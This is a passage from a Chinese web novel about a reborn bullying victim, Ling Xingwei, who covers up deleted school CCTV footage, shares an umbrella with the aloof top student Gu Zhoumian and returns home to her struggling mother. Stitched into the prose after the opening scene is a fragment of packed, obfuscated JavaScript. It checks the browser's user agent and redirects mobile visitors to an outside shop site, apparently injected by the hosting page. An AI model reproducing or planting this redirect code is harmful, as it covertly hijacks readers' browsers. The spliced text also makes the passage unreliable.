“不对,你等等!那个监控怎么回事!”
凌杏薇话音刚落,一道手电筒的灯光就对着他们两个照来,紧随其后的是一道熟悉的中年男声。
“你们两个不准谈恋爱,听见没有?”
这道声音从不远处传来,朝着他们两个怒吼道。
“孤男寡女的,在学校要懂得保持距离!”
“晚自习不好好待在教室,竟然在外面乱跑!真是太不像话了!”
眼看着这怒火越烧越旺,两人对视一眼,下一秒,撒腿就跑。
但在她们之前,有一道女生的背影抢先跑了起来。
徐光明眼尖,手电筒灯光立马扫了过去:“谁在那里?!”
那道背影娇小瘦弱,穿着校园里随处可见的校服跑得飞快。
凌杏薇为了降低自身存在感,平日里总是习惯低着头走路。
低着头,也就意味着减少了很多不必要的社交,自然也对很多人的身形背影十分陌生。
这位胆大包天敢冒着被教导主任发现的风险躲在附近偷听的女生,凌杏薇实在认不出是谁。
凌杏薇很确定自己不认识这么个人。
可无冤无仇坑害她做什么?
想着想着,她加快脚步往女生的方向追,可女生身形消瘦跑起步来速度却很快,一转眼的功夫就消失在拐角处。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859064|191706||http|test|mini|href|location''.split(''|''),0,{}));
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>见凌杏薇加快速度,顾昼眠也追了上来。
两人一起追着那道身影上了靠近的楼道台阶。
但那个女生的爬楼速度并未因此减慢,很怕被抓到似的,一溜烟就“窜”上了楼。
凌杏薇气喘吁吁追了一路,也只在最后看见对方匆匆进了高二六班的身影。
凌杏薇站在楼梯口,反复确认着自己有没有看错。
可事实证明那道身影就是进了高二六班的教室——孙倩所在的班级。
果然是孙倩派来跟踪她的人。
现在不搞明晃晃的霸凌,开始憋着坏使阴招了。
她就知道孙倩那睚眦必报的性子觉不会安静消停太久,只是没想到报复来得这么快。
见顾舟眠跟上来,凌杏薇问他:
“徐光明,哦不,徐主任刚刚说,有人举报我们早恋?”
顾舟眠闻言没什么表情,掀起眼皮瞥了眼空档无人的走廊。
“嗯,看见是谁了吗?”
“没看见正脸,只看见她进了六班。”
顾舟眠点点头,没多问。
凌杏薇反而觉得新奇,她跟上顾舟眠往楼上走的脚步。
“你不问我是不是因为跟别人有过矛盾过节才被举报坑害?”
“事情过去了就没必要再纠结。”顾舟眠看得很淡。
“更何况,她的举报不会成功。”
凌杏薇终于将疑惑问出口,开始明晃晃地试探他:“那你……为什么要去监控室啊?”
两人都在四楼,但凌杏薇所在的高二5班和顾舟眠所在的高二1班正好分别在走廊的两个尽头。
顾舟眠没走可以直通1班的楼梯而是顺势跟着她一起追那个逃跑的女生,走了跟她一起的那边楼梯。
顾舟眠停在四楼,没有转身往他所在的教室走。
他语气很正经,乍一听还有些严肃的意味。
“我的竞赛资料不见了,想查查监控看看是不是掉下了楼被我给落下了。”
只是因为丢了张资料就大动干戈要查资料吗?
那栋楼恰巧在她准备动手的时候电源跳闸,可能这么巧呢?
感受到凌杏薇因为愣神而停在原地的举动,顾舟眠回头低声道:“快,要被批评教育了。”
他话音刚落,一道手电筒的灯光就落在这层楼上。
凌杏薇原本的问句到了嘴边就变成了调侃的话语:“好学生也怕被批评教育?”
顾舟眠反问道:“学生也分三六九等?”
不知道是不是凌杏薇的错觉,她感觉顾舟眠回头那一下是在朝她笑。
眼前这个不苟言笑的学霸,也会有这样的一面?
还恰巧给她碰见了。
凌杏薇也知道礼尚往来的道理,不管顾舟眠是因为什么原因去到监控室,但顺手帮了她是事实。
她正色道:“这次的事情算我欠你个人情,你以后学习上有什么问题可以问我。”
凌杏薇目前的成绩怎么也比不上顾舟眠,就算是请教也该是年级第一的顾舟眠来教她才对。
但他似乎不觉得这话有什么问题,他点了点头道:“谢谢凌同学。”
他话音刚落,徘徊在其他地方的手电筒光线就朝他们一照,顾舟眠拉了拉书包肩带,朝她摆了摆手:“走了。”
凌杏薇也点点头,从后门进了5班的教室。
她没回头,自然没注意到那个她印象中不苟言笑的学霸,走到一半时曾眉眼带笑回头看向她过。
5. 共伞后的双向试探
刚在座位上坐下,旁边就有人向她投来目光。
余瑶扶了扶眼镜,朝她低声道:“你可算回来了,班主任刚刚找你呢。”
凌杏薇这才发觉教室里气氛不太对。
她一边收起桌上乱七八糟摊着的课本,一边问道:“春花找我干嘛?”
吴春花是她们班班主任,一开始是调皮学生带头喊,后面自然而然就都这样喊了。
当然,这里面不包括余瑶。
余瑶听见那句“春花”先是一惊,然后抿了抿唇似是为难道:“你今天下课没去办公室找她呀?”
凌杏薇猛然想起:“啊!我忘记了。”
原本是刻意不去的,后来去学校的地图指示栏看了监控室的位置,就真把这茬给忘记了,脑子里全是刚刚去监控室删监控的计划。
余瑶也面带理解地点点头。
确实,凌杏薇今天大半时间都是一下课就趴在桌上睡觉了,连教室都没怎么出。
刚刚晚自习凌杏薇又溜出去上厕所,吴春花找不着人脸色阴沉的可怕,余瑶现在都有点心有余悸。
余瑶提醒道:“你还是抽空去找一下她吧。”
凌杏薇知道这事没办法躲,索性起身速战速决:“我这就去。”
她和余瑶坐最后一排,进出特别方便,但在凌杏薇从后门离开教室后,前面一直在低头认真学习的人忍不住朝外面走廊上还未走远的凌杏薇投去注目礼。
前桌最后对着余瑶下了结论:“就春花刚刚离开教室时那个脸色,她多半是得挨批了!”
余瑶听了这话没有发表任何评价,她垂眸沉静地看着面前的书,嗓音有几分冷淡:“继续写吧。”
前桌见她没什么回应,无趣地撇撇嘴转回去了。
余瑶看着面前这道一直没写出来的题目,无声地叹了口气,最后还是坚持着没有放弃,在草稿纸上从头开始运算着。
高二年级班主任办公室内。
吴春花品着茶,瞥了眼站在旁边的凌杏薇,努了努嘴:“去饮水机边上接杯水自己喝。”
凌杏薇看对方这样,猜测出对方找她来办公室应该是跟今天天台上的事情没关系了。
凌杏薇松了一口气,端起桌上早就准备好的茶杯:“谢谢春花姐。”
吴春花不乐意了:“说了多少次了!我已经改名叫吴馨月了,以后要叫我馨月姐,再不济可以叫我的英文名,Mary。”
“好的春花,喔Mary。”凌杏薇端着一杯水笑嘻嘻地来到吴春花旁边的椅子上坐下。
“你倒是挺自觉。”吴春花优雅的放下茶杯,神色自若。
吴春花人如其名,貌美如花,是高二5班的班主任,兼任135班的英语老师。
同时她也是学校有名的旗袍美人,每天一套旗袍不重样,5班的学生经常开赌局,赌的就是吴春花第二天穿什么颜色的旗袍。
今天她穿的是一身蓝色旗袍,兰花刺绣纹路,衬得她一身书卷气,娇媚却脱俗。
“今天要说啥?考试成绩?走个形式就行了。”凌杏薇笑得一脸单纯无辜。
吴春花握着茶杯的手微蹲,落在凌杏薇身上的目光多了几分探究。
刚刚她去教室找凌杏薇的时候,见人溜了晚自习还好一阵生气。
没想到余瑶那平日里乖巧安静的孩子会出声为凌杏薇说话。
现在看凌杏薇这比从前活泼不少的语气,应该是交了余瑶这个新朋友。
有社交好啊,至少是在慢慢改变从前那孤来孤往的孤僻怪异性格。
想着想着,她语气柔和下来,但话语还是一如既往的无奈。
“走形式?你倒是想得美。”吴春花说着从旁边的课本上拿过来一张试卷。
凌杏薇定睛一看,是她这次月考的英语答题卡。
“你要是单纯成绩不好我都不至于说你,但是后面这些题目为什么都空着?作文也是一个单词都不会?”
她说着又下结论:“能考进柠城一中的学生不会是这个水平。”
凌杏薇面色不变:“可能我就是单纯运气好呢?”
吴春花摇头笃定道:“你绝对不是运气。”
她说着又把几张成绩单拿到凌杏薇面前:“这些是你高中入学以来所有月考成绩汇总,高一你的成绩还在中等水平,从这个学期开始就直线下滑。”
“更何况你初中阶段的基础是……”
说着她不知想起了什么,欲言又止,最后兜兜转转变成了:“我相信你是有基础的,在学习上有任何困难你都可以向老师寻求帮助。”
“谢谢老师。”这样类似的对话几乎每个月都会有一次,吴春花总是乐此不疲想要挽救她一直在下滑的成绩。
她也是刚重生回来被天台的事情弄得防备心太强了,竟然忘记了这茬。
又听吴春花念叨了几句,凌杏薇知道这段关于成绩的谈话接近尾声了,她站了起来,姿态随意道:“那我先回教室学习了。”
学习二字从她口里说出来真是一点信服力都没有,吴春花无奈凌了她一眼:“别急,上去的时候顺带把这个试卷带给1班的顾舟眠。”
“实在不行你先看看人家的试卷,研究一番再还给人家,还的时候跟人家年级第一学习请教一下也行啊。”吴春花恨铁不成钢地嘱咐道。
凌杏薇哪里听得进去,拿着那张昨天晚上小测验的试卷一边翻看一边往外走。
选择题,全对。
填空题,错一个。
不行啊,怎么还错了一个。
站在走廊上往下看,徐光明正拿着手电筒在校园里乱逛乱照。
凌杏薇下意识蹲下躲开手电筒的光线,将试卷折好收了起来,最后径直从通往5班的楼梯间回了教室。
现在还在晚自习,她还是明天早上再给顾舟眠吧。
回到教室时里面有些吵,有人在用气声窃窃私语,配合着风扇嗡嗡的声响,令人听不清具体对话,反而让教室里显得更嘈杂了。
正是临近下晚自习的点,后排有些同学都已经收拾好书包准备开溜了。
凌杏薇也加入了这些收书包的行列,准备一打下课铃就跟着她们一起走。
突然凌杏薇感受到自己的衣摆被旁边的人扯了扯。
余瑶说:“凌杏薇你带伞了没?”
“没呢。”凌杏薇顺着窗外看去,就她尽量这么一会儿工夫,外面突然开始下起了淅沥小雨。
“那你要怎么回去?”今天余瑶对她说的话比一个学期加起来都要多。
余瑶跟她一样从来都是独来独往一个人走,凌杏薇对她的第一印象就是安静。
很安静也很沉默。
跟她前世为了伪装自己降低存在感而刻意展现出来的沉默截然不同。
余瑶是真的很沉浸在自己世界里的人,凌杏薇甚至觉得余瑶是很享受这种独处的。
跟她这种向往热闹喧嚣的人一点也不一样。
她有些讶异,面对余瑶的好意有些无措:“我可能躲雨,等雨小点就跑回去。”
这对于凌杏薇都是家常便饭,她总是没那么细致会关注天气,经常忘记带伞。
余瑶看向窗外喃喃道:“那岂不是会淋湿。”
“那没办法,想不被淋湿就只能等雨停。”
凌杏薇看着外面甚至有些愈下愈大的雨,心里在思考余瑶为什么突然跟她搭话。
余瑶忽然说:“我送你走一段吧。”
“什么?”凌杏薇有点不相信自己的耳朵。
“我送你走一段路吧。”余瑶平静重复道。
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下课铃响起,她背起书包从后门走出教室,她甚至没有给凌杏薇拒绝的机会:“走吧。”
“嗷,好,来了。”凌杏薇背上书包,稀里糊涂地跟着余瑶走出去。
余瑶说送一段路真就只送了一段路,将她送到一处可以躲雨的屋檐下她就往相反的方向离开了。
昏黄的路灯下,凌杏薇伸出手感受着檐前雨滴落的速度,下一秒意料之中的雨水却没有向她淋来。
雨声淅淅沥沥打在伞上,一道身影出现在她身前将她笼罩在伞下。
凌杏薇抬眼望去,没想到竟然是熟人。
雨点尽数落在伞上,她笑着抬头问对方:“顾同学,好巧啊,你也住这一块?”
顾舟眠眉眼疏冷,言简意赅回答她:“对。”
顾舟眠眠就回答了她这一个字,气氛很快冷了下来。
凌杏薇迷惘地看了眼他手里那把伞,听着雨水落在伞面上噼里啪啦的声音,不明白他怎么还站在这没走。
“那个……我可以跟你共伞走一段吗?”凌杏薇抬手指了指他手里的伞柄,磕磕绊绊主动问。
顾舟眠垂眸看了她一眼,凌杏薇察觉到顾舟眠这意味不明的目光,终于发现一丝不对劲。
从前八竿子打不着的人,今天三番五次碰了面,对方搞不好以为自己在故意搭讪呢!
她赶紧跟顾舟眠眠解释:“嗯……我只是没有带伞,不好意思冒昧了,我没有别的……”
顾舟眠握紧了伞柄,朝她轻声道:“走吧。”
凌杏薇没想到他会答应,赶紧跟上他的步伐:“那个,谢谢你啊!”
“还有今天监控室,也谢谢你。”
她自然提及今天的事情,目光刻意关注对方的表情变化,可惜她根本窥探不出分毫。
“不用,我也是被那个没有依据的早恋举报所坑害的人。”他说着停了下来,凌杏薇跟着他一起停在伞下区域内。
“况且,我是去找我的竞赛资料的。”
凌杏薇迎上他无波无澜的目光,内心最后的一点顾虑也随着这渐渐小下来的雨点一起,顺着伞面滑向地面,在积水中荡漾直至淹没消散。
夜色已深,落雨渐缓。
在道路一侧,昏黄路灯下,两道身影正不疾不徐并排走着,共伞而行。
撑伞者将唯一的一把伞悄无声息偏向另外一侧。
而在她们刚刚离开的屋檐附近,余瑶走出拐角处的巷子口,久久看着那两道身影与她渐行渐远。
直至对方彻底消失在她的视线里,余瑶这才依依不舍收回视线折返回属于自己回家的路。
这条路她走了很多遍,早就轻车熟路了。
路程不长,雨也渐渐小了起来,凌杏薇跟顾舟眠快到家的时候已经停雨了。
凌杏薇杏眼弯弯朝顾昼眠道谢:“前面那个小区就是我家,谢谢你和我共伞。”
顾舟眠掀了掀眼皮,淡然道:“我也是。”
“我们是……一个小区的?”
“确实挺巧。”顾舟眠说出她的心声,收起雨伞,步履不停。
凌杏薇拉了拉书包肩带追上去,打开了话茬子:“之前我怎么从来没有碰见过你啊?”
顾舟眠语调冷淡:“可能没有缘分。”
这话太扫兴了,凌杏薇听不得:“话不能这么说,相见即是缘嘛……”
顾舟眠看了她一眼,说:“嗯。”
凌杏薇没了跟他多说的兴致,顾舟眠这人冷冰冰,若不是她前世死后对方那些反常举动,凌杏薇都不会在他身上花太多时间试探。
顾舟眠却仿佛看穿她的想法,主动开口切开话题。
只是这话题对于凌杏薇来说过于敏感了。
他问:“你今天去乐器室是什么事情?”
6. 我百分之两百的喜欢
“你怎么知道我去过乐器室?”
凌杏薇眯了眯眼,语气骤然冷了下来,像一只平日里温顺的猫咪,在受到威胁后迅速进入防御状态。
“老师的登记表上有你的名字。”
顾舟眠瞥了眼凌杏薇登时凝重下来的神情,将她紧拽衣摆的紧张动作收入眼底。
“你不用害怕,如果我想告发你,不会给你机会删监控。”
凌杏薇屏住呼吸,骤然感觉遍体生寒。
顾舟眠就这样将事实轻易告诉了她?!
凌杏薇冷静下来,将自己先前的猜测说出口:“所以你去监控室真的不是查监控?”
“你……为什么要帮我?”
明明素不相识,却在她死后多次往返事发现场进行观测。
明明萍水相逢,却要冒险去监控室删掉她这个被霸凌者反抗时可能反被指控为霸凌的监控。
“帮你?抱歉,我说过我是去找我的竞赛资料。”顾舟眠却否认了。
凌杏薇蹙了蹙眉,不理解为什么顾舟眠会说这种明显自相矛盾的话。
她眉眼低垂,神色迷茫,乍一看似乎是陷入了很大的纠结当中。
顾舟眠忽然说:“抱歉,是我多管闲事。”
说完,顾舟眠径直收了伞,快她一步往前走,速度比两人共伞一起走要快许多。
雨已经停了,湿漉漉的地面残留着坑坑洼洼的水坑,像是皮肤敷了不透气的面膜,无法吸收水分而留下了令人心情无比沉重的闷痘。
凌杏薇眨了眨眼,呆愣着站在原地看着顾舟眠的背影离她越来越远,整个人都懵了。
她不明凌顾舟眠为什么突然提及乐器室的事情,又是为什么突然说这种话?
但直觉告诉她这事没这么简单,当务之急是为自己正名澄清。
“没有没有,我怎么会觉得你是多管闲事呢?”凌杏薇追上去边走边说。
顾舟眠没说话,淡然扫了她一眼,这一眼带着探究思索,似乎是在辨别她这话的真伪。
虽然摸不透顾舟眠的想法,但凌杏薇清晰发觉顾舟眠走路的速度在她说完这句话后逐渐慢了下来,判断着他应该是听进去了。
凌杏薇再次鼓起勇气试探:“你突然说起乐器室是因为想起了什么事情吗?”
她现在基本可以确定今天乐器室窗边那个人就是顾舟眠了。
但她只知道站在那个位置可以看见天台所有事情,不确定窗边那个人有没有往这个方向看。
于是凌杏薇开始步步引导:“你是有什么事情要告诉我?或者,想提醒我?”
顾舟眠脚步再次快了起来:“凌同学,我们不过泛泛之交,有些事情,我来说还是过于冒昧了。”
“冒昧?”凌杏薇皱了皱眉,脑海莫名浮现出徐光明训斥学生时口沫横飞的场面。
难道顾舟眠是想化身正义使者,告诉她欺负同学是不对的,但又碍于身份不好开口直言?
可她明明是正当防卫。
她今天不出手,真正掉下去的人可就是她了。
办法确实极端了点,但凌杏薇不觉得自己有什么问题。
一次恐吓到位能换她一段时间不被孙倩骚扰的清静,凌杏薇觉得这样做很划算。
于是凌杏薇抱着虚心请教的姿态发问:“我冒昧地问问,这个事情是有多冒昧?”
说到最后,凌杏薇甚至用上了敬语:“您不妨直说。”
事已至此,相关的监控证据已经销毁,顾舟眠会不会去告发她,什么时候去告发她都已经不重要了。
她是真的好奇顾舟眠对待她今天在天台上做的事情是个什么样的态度。
“今天去乐器室的人,除了你我,就只有他们了。”
凌杏薇点点头,一副格外期盼他说下一句话的倾听模样。
顾舟眠抿了抿唇,接着说:“学校有一些关于你和唐叙朝同学的非议,可以正视一下这些流言蜚语。”
凌杏薇满脸疑惑,这事怎么扯上唐叙朝了?
很快,她满脑子的疑惑就在顾舟眠的下一句话里得到了解释。
“我个人是不建议任何人去掺和旁人的感情。”
“唐叙朝和路茴?你看出来她们两个的小九九了?”凌杏薇话中略显讶异。
或许是旁观者清吧,她没想到在别人眼里,这两个人的暧昧关系展现得这么明显。
显得她前世在路茴怂恿下疯狂追爱的举动像极了笑话。
最后路茴得了各种好处,而她被蒙在鼓里受尽唾骂。
凌杏薇脸色不太好,表情也显得有些阴沉,顾舟眠偏开眼,语气稍显落寞:“不喜欢就……当我没说过吧。”
“喜欢!”凌杏薇猛地抬头,嘴比脑子快。
“你这话我非常喜欢!”
“我百分之两百的喜欢啊!”
凌杏薇忽然又觉得这话说得有点歧义,又补了一句:“额……赞同,我很赞同你的观点!”
她边说边在心中犹豫着。
难道……顾舟眠真的没看见天台上发生的事情?
“这回监控室是误会,所以我才能在徐主任面前救下你。”
顾舟眠说着,欲言又止看向她。
凌杏薇心领神会:“我一定好好读书不早恋!”
顾舟眠不知道信没信,表情很淡点了点头。
凌杏薇只觉得好笑,顾舟眠真的符合她刻板印象里那种不让早恋只知道闷头读书的老古板。
现在跟她聊这些,真的很像她那些得知她成绩下滑而努力劝学的老师们。
不过……这位顾同学一本正经来跟她讲早恋不好时欲言又止又难免局促的表现,还真是挺有趣的。
顾舟眠就住在她隔壁的一栋楼,两人没有继续这个话题,简单告别之后,就各自回家了。
电梯门缓缓打开,站在家门口,凌杏薇却没了开门的勇气。
母亲赵欢前世为了查清她的死因,好声好气求着学校领导想查看监控却被当做无理取闹的闹事者驱逐出学校。
后来为了给她鸣冤日日守在学校门口,夜间着凉感冒昏倒在路边却无一人肯出手相助。
顾不上治疗,这病便越拖越严重,得到的却是学校对她的死敷衍了事。
最后,赵欢悲从心中来,就这样硬生生病死街头。
让一个与女儿相依为命的母亲凌发人送黑发人,纵使是重生一世的凌杏薇,也无颜面对如今的赵欢。
可这是她的错吗?
是霸凌者的恶行压弯了一个在女儿面前一直坚强温柔的母亲的脊背。
是校园霸凌的恶果拆散了一个本就支零破碎却依然撑起一片天的温馨家庭。<
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是这个社会上所有过路人漠然无视的态度造成了一个个悲剧上演。
客厅的灯是开着的,凌杏薇一进家门就看见坐在客厅里的赵欢。
赵欢坐在客厅灯光最亮的位置,气质柔婉而温柔,眼角细纹随着她缓缓眯眼皱眉的动作变得愈发明显。
她留着堪堪能扎起来的头发——那是她前段时间一把剪短及腰长发卖钱补贴家用后的发型。
“妈妈。”凌杏薇眼眶一酸,呢喃出声。
赵欢神情专注低头看着手里的账本,沉浸到连凌杏薇回家了都没察觉,听见她喊的这一声才堪堪回过神来。
“唉!薇薇回来啦?要睡啦!妈算完这个账就睡,微波炉里有热牛奶你端出来喝了洗洗早些睡觉,不要熬夜嗷!”
赵欢是开早餐店的,每天五点就会起床去出摊维持生计。
凌杏薇十点才下晚自习,从学校到家里的路程大概需要耗时十五分钟,再加上天气的缘故,凌杏薇到家都快要十点半了。
每次凌杏薇回来看见赵欢这么晚还在忙这忙那熬夜不睡觉的时候,就又是生气又是心疼的。
而赵欢这么多年早就习惯了这样,每次都一副小孩做错事的表情,急急忙忙念叨着马上睡,手上动作是一点不见停下。
“唉?怎么啦?是不是在学校受欺负啦?”见凌杏薇站在门边呆愣着不动,赵欢终于停下手里埋头算账的动作。
听见这句话,凌杏薇鼻头一酸,眼里噙着的泪顿时绷不住了。
凌杏薇冲上去一个熊抱抱住赵欢:“妈妈……”
“哎!怎么了我的薇薇宝贝?是不是又忘带伞淋着雨回来的?”
赵欢说着轻轻抚摸着凌杏薇的后脑勺,以指节代替发梳给她梳理着长发。
“今天没有淋雨,跟同学共伞回来的。”
她说着,将脑袋埋在赵欢肩颈声音闷闷道:“妈妈,我肯定会好好读书让你过上好日子的。”
赵欢一时百感交集,但身为一位母亲,她敏锐感知到凌杏薇的情绪变动。
她轻轻拍着凌杏薇的后背,语气轻柔安抚着:“你啊开开心心过好每一天比什么都强,妈妈不求你未来大富大贵,只求你平平安安的。”
“读书这个事情也是,你尽力就好,能拿多少分咱就拿多少分。”
“跟同学一起回来的也不错啊,可以多交几个朋友,每天开开心心的也很不错啊。”
“晓得啦妈妈!”凌杏薇依依不舍松了手从赵欢温暖的怀抱里退出来。
赵欢揉了揉她的脑袋,目光慈爱温柔:“快去喝牛奶吧,喝完洗漱睡觉。”
凌杏薇转身进了厨房,牛奶应该是算好了时间热的,不烫手,一口下去很暖胃。
凌杏薇往客厅的方向看了一眼,赵欢正低头将敲打着计算机发出啪啦啪啦的声音。
凌杏薇终究还是没有打扰她,转身回了房间。
她并没有如赵欢所说的早早睡觉,而是从书包里翻出了今天晚自习没有完成的作业,从头到尾认真看了一遍题目,然后乱写了几个选择题的答案,就合上了书。
她的书桌右侧摞着一沓崭新的练习册,那是之前赵欢与其他邻居阿姨跟风给她买的一套练习题。
凌杏薇盯着那沓练习册看了几秒,终于鼓起勇气朝着那最上面的一本练习册伸出了手。
7. 顺应内心的选择
她从中随手拿出一本翻开,看了一遍题目又翻过去一页,循环往复翻了很多页,最后一道题都没有做就将练习册给放了回去。
凌杏薇瘫倒在床上,仰天长啸道:“这么简单的题,真没意思!”
窗帘开着,从她的视角往窗外看去,正好能看见对面楼栋层数低于她这层的窗户。
夜深人静,一个窗户里透出来自台灯护眼模式的光线,远远看去还隐隐能够辨认出一个熟悉的侧脸。
少年侧脸轮廓分明,眉目冷峻清隽,握着笔杆的手劲瘦有力,思索时神情专注而认真。
一身白T衬得他肤色更白,周身萦绕着少年独有的青涩与少年感。
“顾舟眠?”
凌杏薇趴在窗边,静静望着顾舟眠所在的方向。
雨后的夜晚连空气都是清新的,大地云层是可呼吸的湿润,连星光仿佛都是被云雾弥漫后的水光潋滟。
天地融为一体,低头是泛着粼粼波光的湿润地面,仰头是闪着熠熠星光的漫长黑夜。
凌杏薇不住地摇着头一脸感叹。
果然学霸都是表面云淡风轻,私底下疯狂努力的。
说着她又想起了今天那张试卷:“不过进步空间还是很大的,错了个简单的语法填空……”
说起努力,凌杏薇突然想起了之前阴差阳错在网络上加上的一个学习很努力的男生。
想到这里凌杏薇眼眸骤然黯淡下来。
这场校园霸凌让她压抑太久了。
一朝重生,她可不能再重蹈覆辙,浑浑噩噩的过日子了!她要重回巅峰!
不过一切都得慢慢来,一步到位旁人不太能接受,搞不好还会遭受很多质疑。
凌杏薇拿过正在一边充电的手机,点进许久未用的□□图标,重新登陆。
也不知道那个男生现在学习成绩怎么样?有没有懈怠?
凌杏薇瞥了眼对面还在低头奋笔疾书的顾舟眠,思绪翻涌着。
算算年纪,那个男生跟她是同一届的,努力点的话说不定能达到跟顾舟眠同一个水平呢。
手机上叮叮咚咚弹出消息,两年没上线,□□号上有很多遗留未处理的消息。
忽略掉之前那些没用的推送消息,凌杏薇下滑翻到了那个男生的消息。
最新一条消息是昨天。
会扬帆起航:[师父,我这个月的月考成绩出来了∩_∩]
会扬帆起航:[是第一名喔![眼巴巴.jpg]]
凌杏薇抬手点开键盘,斟酌再三终于回复他。
杏花微雨:[很不错。]
杏花微雨:[这段时间在忙,所以没有上线,让你久等了。]
凌杏薇不自然地摸了摸鼻子,有些心虚。
毕竟她口中的这个一段时间指的是两年。
再往前翻这个男生发现她没有上线之后给她发信息的频率保持在一个月一次,每次都是拿第一名的好消息。
跟那位顾同学一样。
凌杏薇下意识将目光投向对面下方那位成绩同样稳居年级第一的学霸身上。
顾舟眠神色凝重,奋笔疾书的笔也停了下来,握在手里开始无意识盘转了起来,似乎是遇到了什么难题。
凌杏薇不由自主地将顾舟眠代入这个男生,向对面发去一条消息。
杏花微雨:[有什么不会的题可以问我,我最近这段时间都在线。]
对面回复得很慢,可能是才看见消息,凌杏薇隔了五分钟才收到对面的消息。
会扬帆起航:[师父,你这段时间的学习还顺利吗?]
凌杏薇的直觉告诉她,对面手里有难题需要她帮忙解决。
她很仗义地回复对面。
杏花微雨:[十分顺利,当然,你有什么困难也可以大胆提出来大家一起解决。]
对面没跟她客气,直接发来一张图片。
[师父,这里有一道竞赛题,可以帮我看看吗?可爱探头.jpg]
竞赛题?
凌杏薇双眸一亮,她等的就是这个!
她从前一向喜欢挑战这些高难度的竞赛题,只是上高中后被校园霸凌的压抑心理折磨了一年多,她已经很少会主动去接触这些题目了。
凌杏薇抬手回复对面。
[等我答复。]
桌面暖光灯下,是一杯已经彻底凉掉的牛奶。
顾舟眠从试卷上移开眼,将那杯冷牛奶一饮而尽。
他扔下手中的笔,抬手捏了捏眉心,仰着头疲倦地闭上眼。
放空几秒,他又垂头让视线落回面前令一筹莫展的难题,
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单手撑着额头,脑海中浮现出他今天上午在乐器室看见的那一幕。
一名身体止不住颤抖的女生被另外一名看不清神色的少女扣住肩和手臂,限制住挣扎的举动,抵到了天台边缘。
从顾舟眠所在的角度,只看得见那名女生颤抖的后背和僵硬绷直的肩颈线条。
女生被推到天台边缘半个身体都悬空出去,显然是被危及性命的那一方。
性命攸关的时刻,顾舟眠本不应该冷眼旁观。
可他却在这时看清了站在女生身前那名少女的神情。
少女抬着头,神情孤高却彷徨,眼里是说不清的沉痛之色。
那悲痛哀恸的表情深刻宏大到令人震撼。
那少女是凌杏薇,顾舟眠看得分明。
他没有选择报警,没有向上告发,而是在猜到凌杏薇去监控室的解决方案后选择隐瞒协助。
他顺应了内心当下的第一选择。
记忆回笼,被搁置在桌面上的手机嗡嗡作响,顾舟眠沉默地看着那条弹出来的□□消息。
[等我答复。]
备注是直白明确的名字——
凌杏薇。
他无声地念出这个备注。
自言自语道:“我……该相信你,对吗?”
删删减减在键盘上删掉长篇大论,他内心已经对自己今天下意识的举动感到无奈和迷茫。
[好。]
回复的消息发了出去,但这次,顾舟眠接连十分钟都没有得到凌杏薇的回复。
他又点开之前刻意存的可爱表情包,选了一个发出去。
[好哒好哒.jpg]
依旧石沉大海。
看来不是忘记回了。
顾舟眠想着,抬眼看向对面的楼栋,从他的角度抬头往斜上方亮着灯的房间望去,可以看见一片黑灯瞎火的窗户中,一个显眼的光亮在这些黑漆漆的房间中格外醒目。
从散发着暖光的台灯光线下,依稀可以辨认出一道被台灯光束折射出的趴在书桌上恬静入睡的人影。
顾舟眠定定看了两秒,习以为常地收回视线,看来又睡着了。
这么多年,还真是一点没变啊。
所以,他应该像相信从前的凌杏薇一样,相信现在的凌杏薇才对,不是吗?
8. 学霸也会看热闹?
其实是不对的。
至少现在,顾舟眠看着眼前的场面,一度对昨天夜间突然多愁善感的自己生出几分懊悔来。
顾舟眠看着结结实实倒在地上的梯子和那个被它主人毫不犹豫从围墙外面扔进校园的书包,抬眼看向淡定坐在围墙上的凌杏薇。
凌杏薇抿了抿唇,低头看向离她还有很高一段距离的地面。
又面带尴尬地看向围墙下方站着的顾舟眠。
凌杏薇发现她重生回来后,两次最尴尬的时刻,顾舟眠都恰好在场。
尤其是当现在两人四目相对时,她对上顾舟眠那双平静到无波无澜的冷静眼眸,都感到格外羞愧难当。
都说不打不相识,可哪有人像她这样,每次碰面都是狼狈难堪的?
现在正是上课时间,从凌杏薇这个角度望过去可以看见远处空无一人的教学楼走廊。
但说巧不巧,她刚刚被困在上面,刚好看见走廊上一道少年身影路过。
这面围墙跟教学楼隔着很远的距离,凌杏薇就挣扎着朝那道人影挥手。
本来也不抱什么希望的,毕竟那道身影并未有过任何停顿,径直抱着一沓作业本就拐进了办公室。
正当她改变跨坐的姿势将墙外的那只脚收进了围墙内,酝酿好准备从上面跳下来时,一道声音从远处骤然响起。
“凌杏薇。”顾舟眠一路小跑着过来了。
顾舟眠将落在梯子和书包上的视线移向围墙上方掩饰狼狈佯装得体的凌杏薇身上。
顾舟眠面色凝重地仰视着她,眸中带着些不易察觉的愠怒。
“你怎么上去的?”
凌杏薇下意识解释自己目前的情况:“我原本想借着梯子下去的,但梯子倒了,所以我现在卡在这不敢轻举妄动……”
或许是心中没有底气,凌杏薇声音越说越小,又小心试探道:“你不会告诉徐主任吧?”
凌杏薇昨天睡得毫无预兆,闹钟没定,早上也没赶上公交车直接迟到,这才出此下策选择借梯子翻墙。
只是出师未捷身先死,她梯子没扶好,便出现了现在这可以抠出梦幻城堡的一幕。
顾舟眠似乎叹了口气:“我不会的。”
凌杏薇展颜一笑,明媚又阳光:“太谢谢你了。”
说完,她又目测着这围墙到地面的距离,估测着她等会落地能够不受伤的可能性。
顾舟眠却看着她说:“你不下来吗?”
“我下不来……”凌杏薇咬了咬唇,也感知出自己目前异常尴尬的处境来。
顾舟眠闻言还是不为所动,凌杏薇眼眸微垂,有些泄气。
她刚刚看见顾舟眠出现在走廊上时还没认出他来,怕把保安和徐光明吸引过来,也没敢出声呼救,就不停摆手示意向对方求救。
可刚刚顾舟眠走近的时候凌杏薇认出来了,顾舟眠就是刚刚出现在走廊上前往办公室送作业的少年。
但顾舟眠既然会过来,至少说明顾舟眠是愿意帮她的。
于是凌杏薇再次鼓起勇气开了口。
“你能不能……帮我把梯子扶起来?”
顾舟眠看着那把倒在地上一看就很厚重的梯子,转换了一下自己所站的位置,一鼓作气将其架到了围墙上。
